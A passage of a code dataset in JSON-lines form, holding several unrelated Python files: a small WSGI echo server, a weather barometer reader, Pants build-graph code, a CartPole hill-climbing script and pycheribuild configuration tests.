simple_server\n\n\ndef app(environ, start_response):\n start_response(\"200 OK\", [])\n return [environ[\"HTTP_X_FORWARDED_FOR\"].encode()]\n\n\nsimple_server.ServerHandler.server_software = \"\"\nport = int(os.environ.get(\"PORT\", 8000))\nwith simple_server.make_server(host=\"\", port=port, app=app) as httpd:\n print(f\"Serving on port {port}...\")\n httpd.serve_forever()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"303222888","text":"#!/usr/bin/python\nfrom urllib import request\nimport time\n\nclass Weather :\n \"\"\" cut down version just for the barometer mock \"\"\"\n \n def __init__(self,id,url) :\n self.url = url\n self.id = id \n self.refresh()\n\n def refresh(self) :\n page = request.urlopen(self.url)\n report = page.read().decode('utf-8') \n data = report.split(\" \")\n self.baro = float(data[6])\n self.ts = time.time()\n self.updated = True\n print(self.baro,self.ts)\n \n","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"99703387","text":"# coding=utf-8\n# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport collections\nfrom fnmatch import fnmatch\nfrom os.path import basename, dirname, join\n\nimport six\n\nfrom pants.base.project_tree import Dir, File\nfrom pants.base.specs import (AscendantAddresses, DescendantAddresses, SiblingAddresses,\n SingleAddress)\nfrom pants.build_graph.address import Address\nfrom pants.engine.addressable import AddressableDescriptor, Addresses, TypeConstraintError\nfrom pants.engine.fs import DirectoryListing, Files, FilesContent, Path, PathGlobs\nfrom pants.engine.mapper import AddressFamily, AddressMap, AddressMapper, ResolveError\nfrom pants.engine.objects import Locatable, SerializableFactory, Validatable\nfrom pants.engine.selectors import Select, SelectDependencies, SelectLiteral, SelectProjection\nfrom pants.engine.struct import Struct\nfrom pants.util.objects import datatype\n\n\nclass ResolvedTypeMismatchError(ResolveError):\n \"\"\"Indicates a resolved object was not of the expected type.\"\"\"\n\n\ndef _key_func(entry):\n key, value = entry\n return key\n\n\nclass BuildDirs(datatype('BuildDirs', ['dependencies'])):\n \"\"\"A list of Stat objects for directories containing build files.\"\"\"\n\n\nclass BuildFiles(datatype('BuildFiles', ['files'])):\n \"\"\"A list of Paths that are known to match a build file pattern.\"\"\"\n\n\ndef filter_buildfile_paths(address_mapper, directory_listing):\n if not directory_listing.exists:\n raise ResolveError('Directory \"{}\" does not exist.'.format(directory_listing.directory.path))\n\n build_pattern = address_mapper.build_pattern\n def match(stat):\n # TODO: Use match_file instead when pathspec 0.4.1 (TBD) is released.\n ignored = any(True for _ in address_mapper.build_ignore_patterns.match_files([stat.path]))\n return (not ignored) and type(stat) is File and fnmatch(basename(stat.path), build_pattern)\n build_files = tuple(Path(stat.path, stat)\n for stat in directory_listing.dependencies if match(stat))\n return BuildFiles(build_files)\n\n\ndef parse_address_family(address_mapper, path, build_files_content):\n \"\"\"Given the contents of the build files in one directory, return an AddressFamily.\n\n The AddressFamily may be empty, but it will not be None.\n \"\"\"\n if not build_files_content.dependencies:\n raise ResolveError('Directory \"{}\" does not contain build files.'.format(path))\n address_maps = []\n for filecontent_product in build_files_content.dependencies:\n address_maps.append(AddressMap.parse(filecontent_product.path,\n filecontent_product.content,\n address_mapper.symbol_table_cls,\n address_mapper.parser_cls,\n address_mapper.exclude_patterns))\n return AddressFamily.create(path.path, address_maps)\n\n\nclass UnhydratedStruct(datatype('UnhydratedStruct', ['address', 'struct', 'dependencies'])):\n \"\"\"A product type that holds a Struct which has not yet been hydrated.\n\n A Struct counts as \"hydrated\" when all of its members (which are not themselves dependencies\n lists) have been resolved from the graph. This means that hydrating a struct is eager in terms\n of inline addressable fields, but lazy in terms of the complete graph walk represented by\n the `dependencies` field of StructWithDeps.\n \"\"\"\n\n def __eq__(self, other):\n if type(self) != type(other):\n return NotImplemented\n return self.struct == other.struct\n\n def __ne__(self, other):\n return not (self == other)\n\n def __hash__(self):\n return hash(self.struct)\n\n\ndef _raise_did_you_mean(address_family, name):\n possibilities = '\\n '.join(str(a) for a in address_family.addressables)\n raise ResolveError('A Struct was not found in namespace {} for name \"{}\". '\n 'Did you mean one of?:\\n {}'.format(address_family.namespace, name, possibilities))\n\n\ndef resolve_unhydrated_struct(address_family, address):\n \"\"\"Given an Address and its AddressFamily, resolve an UnhydratedStruct.\n\n Recursively collects any embedded addressables within the Struct, but will not walk into a\n dependencies field, since those are requested explicitly by tasks using SelectDependencies.\n \"\"\"\n\n struct = address_family.addressables.get(address)\n if not struct:\n _raise_did_you_mean(address_family, address.target_name)\n\n dependencies = []\n def maybe_append(outer_key, value):\n if isinstance(value, six.string_types):\n if outer_key != 'dependencies':\n dependencies.append(Address.parse(value, relative_to=address.spec_path))\n elif isinstance(value, Struct):\n collect_dependencies(value)\n\n def collect_dependencies(item):\n for key, value in sorted(item._asdict().items(), key=_key_func):\n if not AddressableDescriptor.is_addressable(item, key):\n continue\n if isinstance(value, collections.MutableMapping):\n for _, v in sorted(value.items(), key=_key_func):\n maybe_append(key, v)\n elif isinstance(value, collections.MutableSequence):\n for v in value:\n maybe_append(key, v)\n else:\n maybe_append(key, value)\n\n collect_dependencies(struct)\n return UnhydratedStruct(address, struct, dependencies)\n\n\ndef hydrate_struct(unhydrated_struct, dependencies):\n \"\"\"Hydrates a Struct from an UnhydratedStruct and its satisfied embedded addressable deps.\n\n Note that this relies on the guarantee that DependenciesNode provides dependencies in the\n order they were requested.\n \"\"\"\n address = unhydrated_struct.address\n struct = unhydrated_struct.struct\n\n def maybe_consume(outer_key, value):\n if isinstance(value, six.string_types):\n if outer_key == 'dependencies':\n # Don't recurse into the dependencies field of a Struct, since those will be explicitly\n # requested by tasks. But do ensure that their addresses are absolute, since we're\n # about to lose the context in which they were declared.\n value = Address.parse(value, relative_to=address.spec_path)\n else:\n value = dependencies[maybe_consume.idx]\n maybe_consume.idx += 1\n elif isinstance(value, Struct):\n value = consume_dependencies(value)\n return value\n # NB: Some pythons throw an UnboundLocalError for `idx` if it is a simple local variable.\n maybe_consume.idx = 0\n\n # 'zip' the previously-requested dependencies back together as struct fields.\n def consume_dependencies(item, args=None):\n hydrated_args = args or {}\n for key, value in sorted(item._asdict().items(), key=_key_func):\n if not AddressableDescriptor.is_addressable(item, key):\n hydrated_args[key] = value\n continue\n\n if isinstance(value, collections.MutableMapping):\n container_type = type(value)\n hydrated_args[key] = container_type((k, maybe_consume(key, v))\n for k, v in sorted(value.items(), key=_key_func))\n elif isinstance(value, collections.MutableSequence):\n container_type = type(value)\n hydrated_args[key] = container_type(maybe_consume(key, v) for v in value)\n else:\n hydrated_args[key] = maybe_consume(key, value)\n return _hydrate(type(item), address.spec_path, **hydrated_args)\n\n return consume_dependencies(struct, args={'address': address})\n\n\ndef _hydrate(item_type, spec_path, **kwargs):\n # If the item will be Locatable, inject the spec_path.\n if issubclass(item_type, Locatable):\n kwargs['spec_path'] = spec_path\n\n try:\n item = item_type(**kwargs)\n except TypeConstraintError as e:\n raise ResolvedTypeMismatchError(e)\n\n # Let factories replace the hydrated object.\n if isinstance(item, SerializableFactory):\n item = item.create()\n\n # Finally make sure objects that can self-validate get a chance to do so.\n if isinstance(item, Validatable):\n item.validate()\n\n return item\n\n\ndef identity(v):\n return v\n\n\ndef address_from_address_family(address_family, single_address):\n \"\"\"Given an AddressFamily and a SingleAddress, return an Addresses object containing the Address.\n\n Raises an exception if the SingleAddress does not match an existing Address.\n \"\"\"\n name = single_address.name\n if name is None:\n name = basename(single_address.directory)\n if name not in address_family.objects_by_name:\n _raise_did_you_mean(address_family, single_address.name)\n return Addresses(tuple([Address(address_family.namespace, name)]))\n\n\ndef addresses_from_address_family(address_family):\n \"\"\"Given an AddressFamily, return an Addresses objects containing all of its `addressables`.\"\"\"\n return Addresses(tuple(address_family.addressables.keys()))\n\n\ndef addresses_from_address_families(address_families):\n \"\"\"Given a list of AddressFamilies, return an Addresses object containing all addressables.\"\"\"\n return Addresses(tuple(a for af in address_families for a in af.addressables.keys()))\n\n\ndef filter_build_dirs(address_mapper, build_files):\n \"\"\"Given Files matching a build pattern, return their parent directories as BuildDirs.\"\"\"\n dirnames = set(dirname(f.stat.path) for f in build_files.dependencies)\n ignored_dirnames = address_mapper.build_ignore_patterns.match_files('{}/'.format(dirname) for dirname in dirnames)\n ignored_dirnames = set(d.rstrip('/') for d in ignored_dirnames)\n return BuildDirs(tuple(Dir(d) for d in dirnames if d not in ignored_dirnames))\n\n\ndef descendant_addresses_to_globs(address_mapper, descendant_addresses):\n \"\"\"Given a DescendantAddresses object, return a PathGlobs object for matching build files.\n\n This allows us to limit our AddressFamily requests to directories that contain build files.\n \"\"\"\n pattern = address_mapper.build_pattern\n return PathGlobs.create_from_specs(descendant_addresses.directory, [pattern, join('**', pattern)])\n\n\ndef _recursive_dirname(f):\n \"\"\"Given a relative path like 'a/b/c/d', yield all ascending path components like:\n\n 'a/b/c/d'\n 'a/b/c'\n 'a/b'\n 'a'\n ''\n \"\"\"\n while f:\n yield f\n f = dirname(f)\n yield ''\n\n\ndef ascendant_addresses_to_globs(address_mapper, ascendant_addresses):\n \"\"\"Given an AscendantAddresses object, return a PathGlobs object for matching build files.\"\"\"\n pattern = address_mapper.build_pattern\n patterns = [join(f, pattern) for f in _recursive_dirname(ascendant_addresses.directory)]\n return PathGlobs.create_from_specs('', patterns)\n\n\ndef create_graph_tasks(address_mapper, symbol_table_cls):\n \"\"\"Creates tasks used to parse Structs from BUILD files.\n\n :param address_mapper_key: The subject key for an AddressMapper instance.\n :param symbol_table_cls: A SymbolTable class to provide symbols for Address lookups.\n \"\"\"\n symbol_table_constraint = symbol_table_cls.constraint()\n return [\n # Support for resolving Structs from Addresses\n (symbol_table_constraint,\n [Select(UnhydratedStruct),\n SelectDependencies(symbol_table_constraint, UnhydratedStruct, field_types=(Address,))],\n hydrate_struct),\n (UnhydratedStruct,\n [SelectProjection(AddressFamily, Dir, ('spec_path',), Address),\n Select(Address)],\n resolve_unhydrated_struct),\n ] + [\n # BUILD file parsing.\n (AddressFamily,\n [SelectLiteral(address_mapper, AddressMapper),\n Select(Dir),\n SelectProjection(FilesContent, Files, ('files',), BuildFiles)],\n parse_address_family),\n (BuildFiles,\n [SelectLiteral(address_mapper, AddressMapper),\n Select(DirectoryListing)],\n filter_buildfile_paths),\n ] + [\n # Simple spec handling.\n (Addresses,\n [SelectProjection(AddressFamily, Dir, ('directory',), SingleAddress),\n Select(SingleAddress)],\n address_from_address_family),\n (Addresses,\n [SelectProjection(AddressFamily, Dir, ('directory',), SiblingAddresses)],\n addresses_from_address_family),\n ] + [\n # Recursive spec handling: locate directories that contain build files, and request\n # AddressFamilies for each of them.\n (Addresses,\n [SelectDependencies(AddressFamily, BuildDirs, field_types=(Dir,))],\n addresses_from_address_families),\n (BuildDirs,\n [SelectLiteral(address_mapper, AddressMapper),\n Select(Files)],\n filter_build_dirs),\n (PathGlobs,\n [SelectLiteral(address_mapper, AddressMapper),\n Select(DescendantAddresses)],\n descendant_addresses_to_globs),\n (PathGlobs,\n [SelectLiteral(address_mapper, AddressMapper),\n Select(AscendantAddresses)],\n ascendant_addresses_to_globs),\n ]\n","sub_path":"src/python/pants/engine/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":12689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"42291371","text":"import gym\nimport numpy as np\n\nenv = gym.make('CartPole-v0')\nenv.monitor.start('/tmp/cartpole-experiment-1', force=True)\n\nM = 1\nT = 200\nalpha = 0.1\n\nparam = 2*np.random.rand(4) - 1.0\nr_best = 0\ng = 0\n\nwhile True:\n param_new = param + alpha * (2*np.random.rand(4) - 1.0)\n r_total = 0\n for m in range(M):\n observation = env.reset()\n for t in range(T):\n action = np.dot(param, observation)\n action = 1 if action > 0 else 0\n observation, reward, done, _ = env.step(action)\n r_total += reward\n if done:\n break\n if r_total > r_best:\n print(\"r_total:\", r_total)\n r_best = r_total\n param = param_new\n if r_best >= 200 * M:\n print(\"success!\")\n# break\n if g >= 2000:\n print(\"faied!\")\n break\n g += 1\n\nenv.monitor.close()\n# gym.upload('/tmp/cartpole-experiment-1', api_key='xxxx YOUR_API_KEY xxxx')","sub_path":"CartPole-v0/hill-climbing.py","file_name":"hill-climbing.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"460301385","text":"import inspect\nimport sys\nimport tempfile\nimport typing\n# noinspection PyUnresolvedReferences\nfrom pathlib import Path\n\nimport pytest\n\n# First thing we need to do is set up the config loader (before importing anything else!)\n# We can't do from pycheribuild.configloader import ConfigLoader here because that will only update the local copy\nfrom pycheribuild.config.compilation_targets import CompilationTargets, FreeBSDTargetInfo\nfrom pycheribuild.config.defaultconfig import DefaultCheriConfig\nfrom pycheribuild.config.loader import ConfigLoaderBase, JsonAndCommandLineConfigLoader, JsonAndCommandLineConfigOption\n# noinspection PyUnresolvedReferences\nfrom pycheribuild.projects import * # noqa: F401, F403\nfrom pycheribuild.projects.cross import * # noqa: F401, F403\nfrom pycheribuild.projects.cross.cheribsd import BuildCHERIBSD, BuildFreeBSD, FreeBSDToolchainKind\nfrom pycheribuild.projects.cross.qt5 import BuildQtBase\n# noinspection PyProtectedMember\nfrom pycheribuild.projects.disk_image import BuildDiskImageBase, BuildCheriBSDDiskImage\n# Override the default config loader:\nfrom pycheribuild.projects.project import SimpleProject\nfrom pycheribuild.projects.run_qemu import LaunchCheriBSD\nfrom pycheribuild.targets import MultiArchTargetAlias, Target, target_manager\n\n_loader = JsonAndCommandLineConfigLoader()\nSimpleProject._config_loader = _loader\n\n_targets_registered = False\nTarget.instantiating_targets_should_warn = False\n\nT = typing.TypeVar('T', bound=SimpleProject)\n\n\ndef _get_target_instance(target_name: str, config, cls: typing.Type[T] = SimpleProject) -> T:\n result = target_manager.get_target_raw(target_name).get_or_create_project(None, config)\n assert isinstance(result, cls)\n return result\n\n\ndef _get_cheribsd_instance(target_name: str, config) -> BuildCHERIBSD:\n return _get_target_instance(target_name, config, BuildCHERIBSD)\n\n\n# noinspection PyProtectedMember\ndef _parse_arguments(args: typing.List[str], *, config_file=Path(\"/this/does/not/exist\"),\n allow_unknown_options=False) -> DefaultCheriConfig:\n assert isinstance(args, list)\n assert all(isinstance(arg, str) for arg in args), \"Invalid argv \" + str(args)\n global _targets_registered\n if not _targets_registered:\n all_target_names = list(sorted(target_manager.target_names)) + [\"__run_everything__\"]\n ConfigLoaderBase._cheri_config = DefaultCheriConfig(_loader, all_target_names)\n ConfigLoaderBase._cheri_config.TEST_MODE = True\n SimpleProject._config_loader = _loader\n target_manager.register_command_line_options()\n _targets_registered = True\n target_manager.reset()\n ConfigLoaderBase._cheri_config.loader._config_path = config_file\n sys.argv = [\"cheribuild.py\"] + args\n ConfigLoaderBase._cheri_config.loader.reset()\n ConfigLoaderBase._cheri_config.loader.unknown_config_option_is_error = not allow_unknown_options\n ConfigLoaderBase._cheri_config.load()\n # pprint.pprint(vars(ret))\n assert ConfigLoaderBase._cheri_config\n return ConfigLoaderBase._cheri_config\n\n\ndef _parse_config_file_and_args(config_file_contents: bytes, *args: str,\n allow_unknown_options=False) -> DefaultCheriConfig:\n with tempfile.NamedTemporaryFile() as t:\n config = Path(t.name)\n config.write_bytes(config_file_contents)\n return _parse_arguments(list(args), config_file=config, allow_unknown_options=allow_unknown_options)\n\n\ndef test_skip_update():\n # default is false:\n conf = _parse_arguments([\"--skip-configure\"])\n skip = inspect.getattr_static(conf, \"skip_update\")\n assert isinstance(skip, JsonAndCommandLineConfigOption)\n assert not _parse_arguments([\"--skip-configure\"]).skip_update\n # check that --no-foo and --foo work:\n assert _parse_arguments([\"--skip-update\"]).skip_update\n assert not _parse_arguments([\"--no-skip-update\"]).skip_update\n # check config file\n with tempfile.NamedTemporaryFile() as t:\n config = Path(t.name)\n config.write_bytes(b'{ \"skip-update\": true}')\n assert _parse_arguments([], config_file=config).skip_update\n # command line overrides config file:\n assert _parse_arguments([\"--skip-update\"], config_file=config).skip_update\n assert not _parse_arguments([\"--no-skip-update\"], config_file=config).skip_update\n config.write_bytes(b'{ \"skip-update\": false}')\n assert not _parse_arguments([], config_file=config).skip_update\n # command line overrides config file:\n assert _parse_arguments([\"--skip-update\"], config_file=config).skip_update\n assert not _parse_arguments([\"--no-skip-update\"], config_file=config).skip_update\n\n\ndef test_per_project_override():\n config = _parse_arguments([\"--skip-configure\"])\n source_root = config.source_root\n assert config.cheri_sdk_dir is not None\n xtarget = CompilationTargets.CHERIBSD_RISCV_PURECAP\n project = BuildCheriBSDDiskImage.get_instance(None, config, cross_target=xtarget)\n assert project.extra_files_dir == source_root / \"extra-files\"\n _parse_arguments([\"--disk-image/extra-files=/foo/bar\"])\n assert project.extra_files_dir == Path(\"/foo/bar/\")\n _parse_arguments([\"--disk-image/extra-files\", \"/bar/foo\"])\n assert project.extra_files_dir == Path(\"/bar/foo/\")\n # different source root should affect the value:\n _parse_arguments([\"--source-root=/tmp\"])\n assert project.extra_files_dir == Path(\"/tmp/extra-files\")\n\n with tempfile.NamedTemporaryFile() as t:\n config_path = Path(t.name)\n config_path.write_bytes(b'{ \"source-root\": \"/x\"}')\n _parse_arguments([], config_file=config_path)\n assert project.extra_files_dir == Path(\"/x/extra-files\")\n\n # check that source root can be overridden\n _parse_arguments([\"--source-root=/y\"])\n assert project.extra_files_dir == Path(\"/y/extra-files\")\n\n\n@pytest.mark.parametrize(\"target_name,resolved_target\", [\n pytest.param(\"llvm\", \"llvm-native\"),\n pytest.param(\"gdb\", \"gdb-native\"),\n pytest.param(\"upstream-llvm\", \"upstream-llvm\"), # no -native target for upstream-llvm\n pytest.param(\"qemu\", \"qemu\"), # same for QEMU\n\n # These used to have defaults but that is confusing now. So check that they no longe rhave default values\n pytest.param(\"cheribsd\", None),\n pytest.param(\"disk-image\", None),\n pytest.param(\"run\", None),\n pytest.param(\"freebsd\", None),\n pytest.param(\"disk-image-freebsd\", None),\n pytest.param(\"disk-image-freebsd\", None),\n pytest.param(\"qtbase\", None),\n pytest.param(\"libcxx\", None),\n\n # The only exception are the fett-* targets which should target riscv64-purecap by default\n pytest.param(\"fett-sqlite\", \"fett-sqlite-riscv64-purecap\"),\n pytest.param(\"fett-sqlite\", \"fett-sqlite-riscv64-purecap\"),\n pytest.param(\"fett-sqlite\", \"fett-sqlite-riscv64-purecap\"),\n pytest.param(\"run-fett\", \"run-fett-riscv64-purecap\"),\n pytest.param(\"disk-image-fett\", \"disk-image-fett-riscv64-purecap\"),\n pytest.param(\"cheribsd-fett\", \"cheribsd-fett-riscv64-purecap\"),\n ])\ndef test_target_aliases_default_target(target_name, resolved_target):\n # Check that only some targets (e.g. llvm) have a default target and that we have to explicitly\n # specify the target name for e.g. cheribsd-* run-*, etc\n if resolved_target is None:\n # The target should not exist in the list of targets accepted on the command line\n assert target_name not in target_manager.target_names\n # However, if we use get_target_raw we should get the TargetAlias\n assert isinstance(target_manager.get_target_raw(target_name), MultiArchTargetAlias)\n assert target_manager.get_target_raw(target_name).project_class.default_architecture is None\n else:\n assert target_name in target_manager.target_names\n raw_target = target_manager.get_target_raw(target_name)\n assert isinstance(raw_target, MultiArchTargetAlias) or raw_target.name == resolved_target\n target = target_manager.get_target(target_name, None, _parse_arguments([]),\n caller=\"test_target_aliases_default_target\")\n assert target.name == resolved_target\n\n\ndef test_cross_compile_project_inherits():\n # Parse args once to ensure target_manager is initialized\n config = _parse_arguments([\"--skip-configure\"])\n qtbase_class = target_manager.get_target_raw(\"qtbase\").project_class\n qtbase_native = _get_target_instance(\"qtbase-native\", config, BuildQtBase)\n qtbase_mips = _get_target_instance(\"qtbase-mips64-hybrid\", config, BuildQtBase)\n\n # Check that project name is the same:\n assert qtbase_mips.project_name == qtbase_native.project_name\n # These classes were generated:\n # noinspection PyUnresolvedReferences\n assert qtbase_native.synthetic_base == qtbase_class\n # noinspection PyUnresolvedReferences\n assert qtbase_mips.synthetic_base == qtbase_class\n assert not hasattr(qtbase_class, \"synthetic_base\")\n\n # Now check a property that should be inherited:\n _parse_arguments([\"--qtbase-native/build-tests\"])\n assert qtbase_native.build_tests, \"qtbase-native build-tests should be set on cmdline\"\n assert not qtbase_mips.build_tests, \"qtbase-mips build-tests should default to false\"\n # If the base qtbase option is set but no per-target one use the basic one:\n _parse_arguments([\"--qtbase/build-tests\"])\n assert qtbase_native.build_tests, \"qtbase-native should inherit build-tests from qtbase(default)\"\n assert qtbase_mips.build_tests, \"qtbase-mips should inherit build-tests from qtbase(default)\"\n\n # But target-specific ones should override\n _parse_arguments([\"--qtbase/build-tests\", \"--qtbase-mips64-hybrid/no-build-tests\"])\n assert qtbase_native.build_tests, \"qtbase-native should inherit build-tests from qtbase(default)\"\n assert not qtbase_mips.build_tests, \"qtbase-mips should have a false override for build-tests\"\n\n # Check that we hav ethe same behaviour when loading from json:\n _parse_config_file_and_args(b'{\"qtbase-native/build-tests\": true }')\n assert qtbase_native.build_tests, \"qtbase-native build-tests should be set on cmdline\"\n assert not qtbase_mips.build_tests, \"qtbase-mips build-tests should default to false\"\n # If the base qtbase option is set but no per-target one use the basic one:\n _parse_config_file_and_args(b'{\"qtbase/build-tests\": true }')\n assert qtbase_native.build_tests, \"qtbase-native should inherit build-tests from qtbase(default)\"\n assert qtbase_mips.build_tests, \"qtbase-mips should inherit build-tests from qtbase(default)\"\n\n # But target-specific ones should override\n _parse_config_file_and_args(b'{\"qtbase/build-tests\": true, \"qtbase-mips-hybrid/build-tests\": false }')\n assert qtbase_native.build_tests, \"qtbase-native should inherit build-tests from qtbase(default)\"\n assert not qtbase_mips.build_tests, \"qtbase-mips should have a false override for build-tests\"\n\n # And that cmdline still overrides JSON:\n _parse_config_file_and_args(b'{\"qtbase/build-tests\": true }', \"--qtbase-mips64-hybrid/no-build-tests\")\n assert qtbase_native.build_tests, \"qtbase-native should inherit build-tests from qtbase(default)\"\n assert not qtbase_mips.build_tests, \"qtbase-mips should have a false override for build-tests\"\n # But if a per-target option is set in the json that still overrides the default set on the cmdline\n _parse_config_file_and_args(b'{\"qtbase-mips-hybrid/build-tests\": false }', \"--qtbase/build-tests\")\n assert qtbase_native.build_tests, \"qtbase-native should inherit build-tests from qtbase(default)\"\n assert not qtbase_mips.build_tests, \"qtbase-mips should have a JSON false override for build-tests\"\n\n # However, don't inherit for build_dir since that doesn't make sense:\n def assert_build_dirs_different():\n # Default should be CHERI purecap\n # print(\"Native build dir:\", qtbase_native.build_dir)\n # print(\"Mips build dir:\", qtbase_mips.build_dir)\n assert qtbase_mips.build_dir != qtbase_native.build_dir\n\n assert_build_dirs_different()\n # overriding native build dir is fine:\n _parse_arguments([\"--qtbase-native/build-directory=/foo/bar\"])\n assert_build_dirs_different()\n _parse_config_file_and_args(b'{\"qtbase-native/build-directory\": \"/foo/bar\"}')\n assert_build_dirs_different()\n # Should not inherit from the default one:\n _parse_arguments([\"--qtbase/build-directory=/foo/bar\"])\n assert_build_dirs_different()\n _parse_config_file_and_args(b'{\"qtbase/build-directory\": \"/foo/bar\"}')\n assert_build_dirs_different()\n\n # Should not inherit from the default one:\n _parse_arguments([\"--qtbase/build-directory=/foo/bar\", \"--qtbase-mips64-hybrid/build-directory=/bar/foo\"])\n assert_build_dirs_different()\n _parse_config_file_and_args(b'{\"qtbase/build-directory\": \"/foo/bar\",'\n b' \"qtbase-mips-hybrid/build-directory\": \"/bar/foo\"}')\n assert_build_dirs_different()\n\n\n# FIXME: cheribsd-mips64-hybrid/kernel-config should use the cheribsd/kernel-config value\n\n\ndef test_cheribsd_purecap_inherits_config_from_cheribsd():\n # Parse args once to ensure target_manager is initialized\n config = _parse_arguments([\"--skip-configure\"])\n cheribsd_class = target_manager.get_target_raw(\"cheribsd\").project_class\n cheribsd_mips = _get_cheribsd_instance(\"cheribsd-mips64\", config)\n cheribsd_mips_hybrid = _get_cheribsd_instance(\"cheribsd-mips64-hybrid\", config)\n cheribsd_mips_purecap = _get_cheribsd_instance(\"cheribsd-mips64-purecap\", config)\n\n # Check that project name is the same:\n assert cheribsd_mips.project_name == cheribsd_mips_hybrid.project_name\n assert cheribsd_mips_hybrid.project_name == cheribsd_mips_purecap.project_name\n\n # noinspection PyUnresolvedReferences\n assert cheribsd_mips_hybrid.synthetic_base == cheribsd_class\n # noinspection PyUnresolvedReferences\n assert cheribsd_mips_purecap.synthetic_base == cheribsd_class\n\n _parse_arguments([\"--cheribsd-mips64/debug-kernel\"])\n assert not cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap debug-kernel should default to false\"\n assert not cheribsd_mips_hybrid.debug_kernel, \"cheribsd-mips-hybrid debug-kernel should default to false\"\n assert cheribsd_mips.debug_kernel, \"cheribsd-mips64 debug-kernel should be set on cmdline\"\n _parse_arguments([\"--cheribsd-mips64-purecap/debug-kernel\"])\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap debug-kernel should be set on cmdline\"\n assert not cheribsd_mips_hybrid.debug_kernel, \"cheribsd-mips-hybrid debug-kernel should default to false\"\n assert not cheribsd_mips.debug_kernel, \"cheribsd-mips64 debug-kernel should default to false\"\n _parse_arguments([\"--cheribsd-mips64-hybrid/debug-kernel\"])\n assert not cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap debug-kernel should default to false\"\n assert cheribsd_mips_hybrid.debug_kernel, \"cheribsd-mips64-hybrid debug-kernel should be set on cmdline\"\n assert not cheribsd_mips.debug_kernel, \"cheribsd-mips64 debug-kernel should default to false\"\n\n # If the base cheribsd option is set but no per-target one use both cheribsd-mips64-hybrid and cheribsd-purecap\n # should # inherit basic one:\n _parse_arguments([\"--cheribsd/debug-kernel\"])\n assert cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should inherit debug-kernel from cheribsd(default)\"\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should inherit debug-kernel from cheribsd(default)\"\n\n # But target-specific ones should override\n _parse_arguments([\"--cheribsd/debug-kernel\", \"--cheribsd-mips64-purecap/no-debug-kernel\"])\n assert cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should inherit debug-kernel from cheribsd(default)\"\n assert not cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should have a false override for debug-kernel\"\n\n _parse_arguments([\"--cheribsd/debug-kernel\", \"--cheribsd-mips64-hybrid/no-debug-kernel\"])\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should inherit debug-kernel from cheribsd(default)\"\n assert not cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should have a false override for debug-kernel\"\n\n # Check that we hav ethe same behaviour when loading from json:\n _parse_config_file_and_args(b'{\"cheribsd/debug-kernel\": true }')\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should inherit debug-kernel from cheribsd(default)\"\n assert cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should inherit debug-kernel from cheribsd(default)\"\n assert cheribsd_mips.debug_kernel, \"cheribsd-mips should inherit debug-kernel from cheribsd(default)\"\n\n # But target-specific ones should override\n _parse_config_file_and_args(b'{\"cheribsd/debug-kernel\": true, \"cheribsd-mips64-hybrid/debug-kernel\": false }')\n assert cheribsd_mips.debug_kernel, \"cheribsd-mips debug-kernel should be inherited on cmdline\"\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should inherit debug-kernel from cheribsd(default)\"\n assert not cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should have a false override for debug-kernel\"\n\n # And that cmdline still overrides JSON:\n _parse_config_file_and_args(b'{\"cheribsd/debug-kernel\": true }', \"--cheribsd-mips64-hybrid/no-debug-kernel\")\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should inherit debug-kernel from cheribsd(default)\"\n assert cheribsd_mips.debug_kernel, \"cheribsd-mips debug-kernel should be inherited from cheribsd(default)\"\n assert not cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should have a false override for debug-kernel\"\n # But if a per-target option is set in the json that still overrides the default set on the cmdline\n _parse_config_file_and_args(b'{\"cheribsd-mips64-hybrid/debug-kernel\": false }', \"--cheribsd/debug-kernel\")\n assert cheribsd_mips_purecap.debug_kernel, \"cheribsd-purecap should inherit debug-kernel from cheribsd(default)\"\n assert cheribsd_mips.debug_kernel, \"cheribsd-mips debug-kernel should be inherited from cheribsd(default)\"\n assert not cheribsd_mips_hybrid.debug_kernel, \"mips64-hybrid should have a JSON false override for debug-kernel\"\n\n # However, don't inherit for build_dir since that doesn't make sense:\n def assert_build_dirs_different():\n assert cheribsd_mips_hybrid.build_dir != cheribsd_mips_purecap.build_dir\n assert cheribsd_mips_hybrid.build_dir != cheribsd_mips.build_dir\n\n assert_build_dirs_different()\n # overriding native build dir is fine:\n _parse_arguments([\"--cheribsd-mips64-purecap/build-directory=/foo/bar\"])\n assert cheribsd_mips_purecap.build_dir == Path(\"/foo/bar\")\n assert_build_dirs_different()\n _parse_config_file_and_args(b'{\"cheribsd-mips64-purecap/build-directory\": \"/foo/bar\"}')\n assert cheribsd_mips_purecap.build_dir == Path(\"/foo/bar\")\n assert_build_dirs_different()\n _parse_arguments([\"--cheribsd-mips64-hybrid/build-directory=/foo/bar\"])\n assert cheribsd_mips_hybrid.build_dir == Path(\"/foo/bar\")\n assert cheribsd_mips_purecap.build_dir != Path(\"/foo/bar\")\n assert_build_dirs_different()\n 